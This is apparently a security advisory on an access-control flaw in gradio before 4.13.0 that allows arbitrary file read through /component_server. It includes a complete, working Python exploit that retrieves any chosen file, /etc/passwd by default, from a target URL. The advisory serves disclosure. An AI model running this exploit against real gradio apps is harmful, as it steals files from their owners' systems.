Improper Access Control Affecting gradio package, versions [,4.13.0)

gradio is a Python library for easily interacting with trained machine learning models

Affected versions of this package are vulnerable to Improper Access Control due to the /component_server endpoint improperly allowing the invocation of any method on a Component class with attacker-controlled arguments. Specifically, by exploiting the move_resource_to_block_cache() method of the Block class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it. This vulnerability enables unauthorized local file read access.

Notes:

1. It is even more critical because running an app with launch(share=True) will expose the app to the internet allowing anyone to read files on users computers.

2. All gradio apps hosted on huggingface.co are also vulnerable.

from argparse import ArgumentParser
from requests import Session

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", default="/etc/passwd")
    args = parser.parse_args()

    url_base = args.url

    with Session() as s:
        # get app config:
        rsp = s.get(f"{url_base}/config")

        # grab any valid component_id:
        component_id = rsp.json()["components"][0]["id"]

        rsp = s.post(f"{url_base}/component_server", json={
            "component_id" : component_id,
            "data" : args.path, # "/etc/passwd",
            "fn_name" : "move_resource_to_block_cache",
            "session_hash" : "aaaaaaaaaaa"
        })
        path = rsp.json()

        rsp = s.get(f"{url_base}/file={path}")
        print(rsp.text)

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